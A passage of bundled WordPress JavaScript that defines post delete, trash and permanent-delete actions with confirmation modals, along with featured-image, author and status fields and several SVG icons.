      errorMessage = notice.error.messages.getBatchMessage(errorMessages);
    }
    createErrorNotice(errorMessage, {
      type: (_notice$error$type2 = notice.error.type) !== null && _notice$error$type2 !== void 0 ? _notice$error$type2 : 'snackbar',
      id: notice.error.id
    });
    callbacks.onActionError?.();
  }
};

;// ./node_modules/@wordpress/fields/build-module/actions/delete-post.js
/**
 * WordPress dependencies
 */




// @ts-ignore



/**
 * Internal dependencies
 */




const {
  PATTERN_TYPES: delete_post_PATTERN_TYPES
} = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);

// This action is used for templates, patterns and template parts.
// Every other post type uses the similar `trashPostAction` which
// moves the post to trash.
const deletePostAction = {
  id: 'delete-post',
  label: (0,external_wp_i18n_namespaceObject.__)('Delete'),
  isPrimary: true,
  icon: library_trash,
  isEligible(post) {
    if (isTemplateOrTemplatePart(post)) {
      return isTemplateRemovable(post);
    }
    // We can only remove user patterns.
    return post.type === delete_post_PATTERN_TYPES.user;
  },
  supportsBulk: true,
  hideModalHeader: true,
  RenderModal: ({
    items,
    closeModal,
    onActionPerformed
  }) => {
    const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
    const isResetting = items.every(item => isTemplateOrTemplatePart(item) && item?.has_theme_file);
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        children: items.length > 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %d: number of items to delete.
        (0,external_wp_i18n_namespaceObject._n)('Delete %d item?', 'Delete %d items?', items.length), items.length) : (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %s: The template or template part's title
        (0,external_wp_i18n_namespaceObject._x)('Delete "%s"?', 'template part'), getItemTitle(items[0]))
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: "tertiary",
          onClick: closeModal,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          __next40pxDefaultSize: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: "primary",
          onClick: async () => {
            setIsBusy(true);
            const notice = {
              success: {
                messages: {
                  getMessage: item => {
                    return isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The template/part's name. */
                    (0,external_wp_i18n_namespaceObject.__)('"%s" reset.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(getItemTitle(item))) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The template/part's name. */
                    (0,external_wp_i18n_namespaceObject._x)('"%s" deleted.', 'template part'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(getItemTitle(item)));
                  },
                  getBatchMessage: () => {
                    return isResetting ? (0,external_wp_i18n_namespaceObject.__)('Items reset.') : (0,external_wp_i18n_namespaceObject.__)('Items deleted.');
                  }
                }
              },
              error: {
                messages: {
                  getMessage: error => {
                    if (error.size === 1) {
                      return [...error][0];
                    }
                    return isResetting ? (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the item.') : (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the item.');
                  },
                  getBatchMessage: errors => {
                    if (errors.size === 0) {
                      return isResetting ? (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the items.') : (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the items.');
                    }
                    if (errors.size === 1) {
                      return isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: an error message */
                      (0,external_wp_i18n_namespaceObject.__)('An error occurred while reverting the items: %s'), [...errors][0]) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: an error message */
                      (0,external_wp_i18n_namespaceObject.__)('An error occurred while deleting the items: %s'), [...errors][0]);
                    }
                    return isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: a list of comma separated error messages */
                    (0,external_wp_i18n_namespaceObject.__)('Some errors occurred while reverting the items: %s'), [...errors].join(',')) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: a list of comma separated error messages */
                    (0,external_wp_i18n_namespaceObject.__)('Some errors occurred while deleting the items: %s'), [...errors].join(','));
                  }
                }
              }
            };
            await deletePostWithNotices(items, notice, {
              onActionPerformed
            });
            setIsBusy(false);
            closeModal?.();
          },
          isBusy: isBusy,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          __next40pxDefaultSize: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Delete')
        })]
      })]
    });
  }
};

/**
 * Delete action for Templates, Patterns and Template Parts.
 */
/* harmony default export */ const delete_post = (deletePostAction);

;// ./node_modules/@wordpress/fields/build-module/actions/trash-post.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const trash_post_trashPost = {
  id: 'move-to-trash',
  label: (0,external_wp_i18n_namespaceObject.__)('Move to trash'),
  isPrimary: true,
  icon: library_trash,
  isEligible(item) {
    if (isTemplateOrTemplatePart(item) || item.type === 'wp_block') {
      return false;
    }
    return !!item.status && !['auto-draft', 'trash'].includes(item.status) && item.permissions?.delete;
  },
  supportsBulk: true,
  hideModalHeader: true,
  RenderModal: ({
    items,
    closeModal,
    onActionPerformed
  }) => {
    const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
    const {
      createSuccessNotice,
      createErrorNotice
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
    const {
      deleteEntityRecord
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        children: items.length === 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %s: The item's title.
        (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to move "%s" to the trash?'), getItemTitle(items[0])) : (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %d: The number of items (2 or more).
        (0,external_wp_i18n_namespaceObject._n)('Are you sure you want to move %d item to the trash ?', 'Are you sure you want to move %d items to the trash ?', items.length), items.length)
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "tertiary",
          onClick: closeModal,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          onClick: async () => {
            setIsBusy(true);
            const promiseResult = await Promise.allSettled(items.map(item => deleteEntityRecord('postType', item.type, item.id.toString(), {}, {
              throwOnError: true
            })));
            // If all the promises were fulfilled with success.
            if (promiseResult.every(({
              status
            }) => status === 'fulfilled')) {
              let successMessage;
              if (promiseResult.length === 1) {
                successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The item's title. */
                (0,external_wp_i18n_namespaceObject.__)('"%s" moved to the trash.'), getItemTitle(items[0]));
              } else {
                successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The number of items. */
                (0,external_wp_i18n_namespaceObject._n)('%s item moved to the trash.', '%s items moved to the trash.', items.length), items.length);
              }
              createSuccessNotice(successMessage, {
                type: 'snackbar',
                id: 'move-to-trash-action'
              });
            } else {
              // If there was at least one failure.
              let errorMessage;
              // If we were trying to delete a single item.
              if (promiseResult.length === 1) {
                const typedError = promiseResult[0];
                if (typedError.reason?.message) {
                  errorMessage = typedError.reason.message;
                } else {
                  errorMessage = (0,external_wp_i18n_namespaceObject.__)('An error occurred while moving the item to the trash.');
                }
                // If we were trying to delete multiple items.
              } else {
                const errorMessages = new Set();
                const failedPromises = promiseResult.filter(({
                  status
                }) => status === 'rejected');
                for (const failedPromise of failedPromises) {
                  const typedError = failedPromise;
                  if (typedError.reason?.message) {
                    errorMessages.add(typedError.reason.message);
                  }
                }
                if (errorMessages.size === 0) {
                  errorMessage = (0,external_wp_i18n_namespaceObject.__)('An error occurred while moving the items to the trash.');
                } else if (errorMessages.size === 1) {
                  errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: an error message */
                  (0,external_wp_i18n_namespaceObject.__)('An error occurred while moving the item to the trash: %s'), [...errorMessages][0]);
                } else {
                  errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: a list of comma separated error messages */
                  (0,external_wp_i18n_namespaceObject.__)('Some errors occurred while moving the items to the trash: %s'), [...errorMessages].join(','));
                }
              }
              createErrorNotice(errorMessage, {
                type: 'snackbar'
              });
            }
            if (onActionPerformed) {
              onActionPerformed(items);
            }
            setIsBusy(false);
            closeModal?.();
          },
          isBusy: isBusy,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject._x)('Trash', 'verb')
        })]
      })]
    });
  }
};

/**
 * Trash action for PostWithPermissions.
 */
/* harmony default export */ const trash_post = (trash_post_trashPost);

;// ./node_modules/@wordpress/fields/build-module/actions/permanently-delete-post.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */


const permanentlyDeletePost = {
  id: 'permanently-delete',
  label: (0,external_wp_i18n_namespaceObject.__)('Permanently delete'),
  supportsBulk: true,
  icon: library_trash,
  isEligible(item) {
    if (isTemplateOrTemplatePart(item) || item.type === 'wp_block') {
      return false;
    }
    const {
      status,
      permissions
    } = item;
    return status === 'trash' && permissions?.delete;
  },
  hideModalHeader: true,
  RenderModal: ({
    items,
    closeModal,
    onActionPerformed
  }) => {
    const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
    const {
      createSuccessNotice,
      createErrorNotice
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
    const {
      deleteEntityRecord
    } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      spacing: "5",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
        children: items.length > 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %d: number of items to delete.
        (0,external_wp_i18n_namespaceObject._n)('Are you sure you want to permanently delete %d item?', 'Are you sure you want to permanently delete %d items?', items.length), items.length) : (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %s: The post's title
        (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to permanently delete "%s"?'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(getItemTitle(items[0])))
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "right",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: "tertiary",
          onClick: closeModal,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          __next40pxDefaultSize: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: "primary",
          onClick: async () => {
            setIsBusy(true);
            const promiseResult = await Promise.allSettled(items.map(post => deleteEntityRecord('postType', post.type, post.id, {
              force: true
            }, {
              throwOnError: true
            })));

            // If all the promises were fulfilled with success.
            if (promiseResult.every(({
              status
            }) => status === 'fulfilled')) {
              let successMessage;
              if (promiseResult.length === 1) {
                successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: The posts's title. */
                (0,external_wp_i18n_namespaceObject.__)('"%s" permanently deleted.'), getItemTitle(items[0]));
              } else {
                successMessage = (0,external_wp_i18n_namespaceObject.__)('The items were permanently deleted.');
              }
              createSuccessNotice(successMessage, {
                type: 'snackbar',
                id: 'permanently-delete-post-action'
              });
              onActionPerformed?.(items);
            } else {
              // If there was at lease one failure.
              let errorMessage;
              // If we were trying to permanently delete a single post.
              if (promiseResult.length === 1) {
                const typedError = promiseResult[0];
                if (typedError.reason?.message) {
                  errorMessage = typedError.reason.message;
                } else {
                  errorMessage = (0,external_wp_i18n_namespaceObject.__)('An error occurred while permanently deleting the item.');
                }
                // If we were trying to permanently delete multiple posts
              } else {
                const errorMessages = new Set();
                const failedPromises = promiseResult.filter(({
                  status
                }) => status === 'rejected');
                for (const failedPromise of failedPromises) {
                  const typedError = failedPromise;
                  if (typedError.reason?.message) {
                    errorMessages.add(typedError.reason.message);
                  }
                }
                if (errorMessages.size === 0) {
                  errorMessage = (0,external_wp_i18n_namespaceObject.__)('An error occurred while permanently deleting the items.');
                } else if (errorMessages.size === 1) {
                  errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: an error message */
                  (0,external_wp_i18n_namespaceObject.__)('An error occurred while permanently deleting the items: %s'), [...errorMessages][0]);
                } else {
                  errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: a list of comma separated error messages */
                  (0,external_wp_i18n_namespaceObject.__)('Some errors occurred while permanently deleting the items: %s'), [...errorMessages].join(','));
                }
              }
              createErrorNotice(errorMessage, {
                type: 'snackbar'
              });
            }
            setIsBusy(false);
            closeModal?.();
          },
          isBusy: isBusy,
          disabled: isBusy,
          accessibleWhenDisabled: true,
          __next40pxDefaultSize: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Delete permanently')
        })]
      })]
    });
  }
};

/**
 * Delete action for PostWithPermissions.
 */
/* harmony default export */ const permanently_delete_post = (permanentlyDeletePost);

;// external ["wp","mediaUtils"]
const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"];
;// ./node_modules/@wordpress/icons/build-module/library/line-solid.js
/**
 * WordPress dependencies
 */


const lineSolid = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M5 11.25h14v1.5H5z"
  })
});
/* harmony default export */ const line_solid = (lineSolid);

;// ./node_modules/@wordpress/fields/build-module/fields/featured-image/featured-image-edit.js
/**
 * WordPress dependencies
 */



// @ts-ignore





/**
 * Internal dependencies
 */

const FeaturedImageEdit = ({
  data,
  field,
  onChange
}) => {
  const {
    id
  } = field;
  const value = field.getValue({
    item: data
  });
  const media = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    return getEntityRecord('root', 'media', value);
  }, [value]);
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  const url = media?.source_url;
  const title = media?.title?.rendered;
  const ref = (0,external_wp_element_namespaceObject.useRef)(null);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("fieldset", {
    className: "fields-controls__featured-image",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "fields-controls__featured-image-container",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_mediaUtils_namespaceObject.MediaUpload, {
        onSelect: selectedMedia => {
          onChangeControl(selectedMedia.id);
        },
        allowedTypes: ['image'],
        render: ({
          open
        }) => {
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            ref: ref,
            role: "button",
            tabIndex: -1,
            onClick: () => {
              open();
            },
            onKeyDown: open,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
              rowGap: 0,
              columnGap: 8,
              templateColumns: "24px 1fr 24px",
              children: [url && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
                children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
                  className: "fields-controls__featured-image-image",
                  alt: "",
                  width: 24,
                  height: 24,
                  src: url
                }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
                  className: "fields-controls__featured-image-title",
                  children: title
                })]
              }), !url && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
                children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
                  className: "fields-controls__featured-image-placeholder",
                  style: {
                    width: '24px',
                    height: '24px'
                  }
                }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
                  className: "fields-controls__featured-image-title",
                  children: (0,external_wp_i18n_namespaceObject.__)('Choose an image…')
                })]
              }), url && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
                  size: "small",
                  className: "fields-controls__featured-image-remove-button",
                  icon: line_solid,
                  onClick: event => {
                    event.stopPropagation();
                    onChangeControl(0);
                  }
                })
              })]
            })
          });
        }
      })
    })
  });
};

;// ./node_modules/@wordpress/fields/build-module/fields/featured-image/featured-image-view.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const FeaturedImageView = ({
  item
}) => {
  const mediaId = item.featured_media;
  const media = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    return mediaId ? getEntityRecord('root', 'media', mediaId) : null;
  }, [mediaId]);
  const url = media?.source_url;
  if (url) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
      className: "fields-controls__featured-image-image",
      src: url,
      alt: ""
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "fields-controls__featured-image-placeholder"
  });
};

;// ./node_modules/@wordpress/fields/build-module/fields/featured-image/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const featuredImageField = {
  id: 'featured_media',
  type: 'media',
  label: (0,external_wp_i18n_namespaceObject.__)('Featured Image'),
  Edit: FeaturedImageEdit,
  render: FeaturedImageView,
  enableSorting: false
};

/**
 * Featured Image field for BasePost.
 */
/* harmony default export */ const featured_image = (featuredImageField);

;// ./node_modules/clsx/dist/clsx.mjs
function clsx_r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=clsx_r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=clsx_r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
;// ./node_modules/@wordpress/icons/build-module/library/comment-author-avatar.js
/**
 * WordPress dependencies
 */


const commentAuthorAvatar = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",
    clipRule: "evenodd"
  })
});
/* harmony default export */ const comment_author_avatar = (commentAuthorAvatar);

;// ./node_modules/@wordpress/fields/build-module/fields/author/author-view.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */

function AuthorView({
  item
}) {
  const {
    text,
    imageUrl
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    let user;
    if (!!item.author) {
      user = getEntityRecord('root', 'user', item.author);
    }
    return {
      imageUrl: user?.avatar_urls?.[48],
      text: user?.name
    };
  }, [item]);
  const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    alignment: "left",
    spacing: 0,
    children: [!!imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx('page-templates-author-field__avatar', {
        'is-loaded': isImageLoaded
      }),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
        onLoad: () => setIsImageLoaded(true),
        alt: (0,external_wp_i18n_namespaceObject.__)('Author avatar'),
        src: imageUrl
      })
    }), !imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "page-templates-author-field__icon",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
        icon: comment_author_avatar
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "page-templates-author-field__name",
      children: text
    })]
  });
}
/* harmony default export */ const author_view = (AuthorView);

;// ./node_modules/@wordpress/fields/build-module/fields/author/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


const authorField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Author'),
  id: 'author',
  type: 'integer',
  elements: [],
  render: author_view,
  sort: (a, b, direction) => {
    const nameA = a._embedded?.author?.[0]?.name || '';
    const nameB = b._embedded?.author?.[0]?.name || '';
    return direction === 'asc' ? nameA.localeCompare(nameB) : nameB.localeCompare(nameA);
  }
};

/**
 * Author field for BasePost.
 */
/* harmony default export */ const author = (authorField);

;// ./node_modules/@wordpress/icons/build-module/library/drafts.js
/**
 * WordPress dependencies
 */


const drafts = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z"
  })
});
/* harmony default export */ const library_drafts = (drafts);

;// ./node_modules/@wordpress/icons/build-module/library/scheduled.js
/**
 * WordPress dependencies
 */


const scheduled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z"
  })
});
/* harmony default export */ const library_scheduled = (scheduled);

;// ./node_modules/@wordpress/icons/build-module/library/pending.js
/**
 * WordPress dependencies
 */


const pending = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z"
  })
});
/* harmony default export */ const library_pending = (pending);

;// ./node_modules/@wordpress/icons/build-module/library/not-allowed.js
/**
 * WordPress dependencies
 */


const notAllowed = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z"
  })
});
/* harmony default export */ const not_allowed = (notAllowed);

;// ./node_modules/@wordpress/icons/build-module/library/published.js
/**
 * WordPress dependencies
 */


const published = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z"
  })
});
/* harmony default export */ const library_published = (published);

;// ./node_modules/@wordpress/fields/build-module/fields/status/status-elements.js
/**
 * WordPress dependencies
 */



// See https://github.com/WordPress/gutenberg/issues/55886
// We do not support custom statutes at the moment.
const STATUSES = [{
  value: 'draft',
  label: (0,external_wp_i18n_namespaceObject.__)('Draft'),
  icon: library_drafts,
  description: (0,external_wp_i18n_namespaceObject.__)('Not ready to publish.')
}, {
  value: 'future',
  label: (0,external_wp_i18n_namespaceObject.__)('Scheduled'),
  icon: library_scheduled,
  description: (0,external_wp_i18n_namespaceObject.__)('Publish automatically on a chosen date.')
}, {
  value: 'pending',
  label: (0,external_wp_i18n_namespaceObject.__)('Pending Review'),
  icon: library_pending,
  description: (0,external_wp_i18n_namespaceObject.__)('Waiting for review before publishing.')
}, {
  value: 'private',
  label: (0,external_wp_i18n_namespaceObject.__)('Private'),
  icon: not_allowed,
  description: (0,external_wp_i18n_namespaceObject.__)('Only visible to site admins and editors.')
}, {
  value: 'publish',
  label: (0,external_wp_i18n_namespaceObject.__)('Published'),
  icon: library_published,
  description: (0,external_wp_i18n_namespaceObject.__)('Visible to everyone.')
}, {
  value: 'trash',
  label: (0,external_wp_i18n_namespaceObject.__)('Trash'),
  icon: library_trash
}];
/* harmony default export */ const status_elements = (STATUSES);

;// ./node_modules/@wordpress/fields/build-module/fields/status/status-view.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



function StatusView({
  item
}) {
  const status = status_elements.find(({
    value
  }) => value === item.status);
  const label = status?.label || item.status;
  const icon = status?.icon;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    alignment: "left",
    spacing: 0,
    children: [icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-post-list__status-icon",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
        icon: icon
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      children: label
    })]
  });
}
/* harmony default export */ const status_view = (StatusView);

;// ./node_modules/@wordpress/fields/build-module/fields/status/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const OPERATOR_IS_ANY = 'isAny';
const statusField = {
  label: (0,external_wp_i18n_namespaceObject.__)('Status'),
  id: 'status',
  type: 'text',
  elements: status_elements,
  render: status_view,
  Edit: 'radio',
  enableSorting: false,
  filterBy: {
    operators: [OPERATOR_IS_ANY]
  }
};

/**
 * Status field for BasePost.
 */
/* harmony default export */ const fields_status = (statusField);

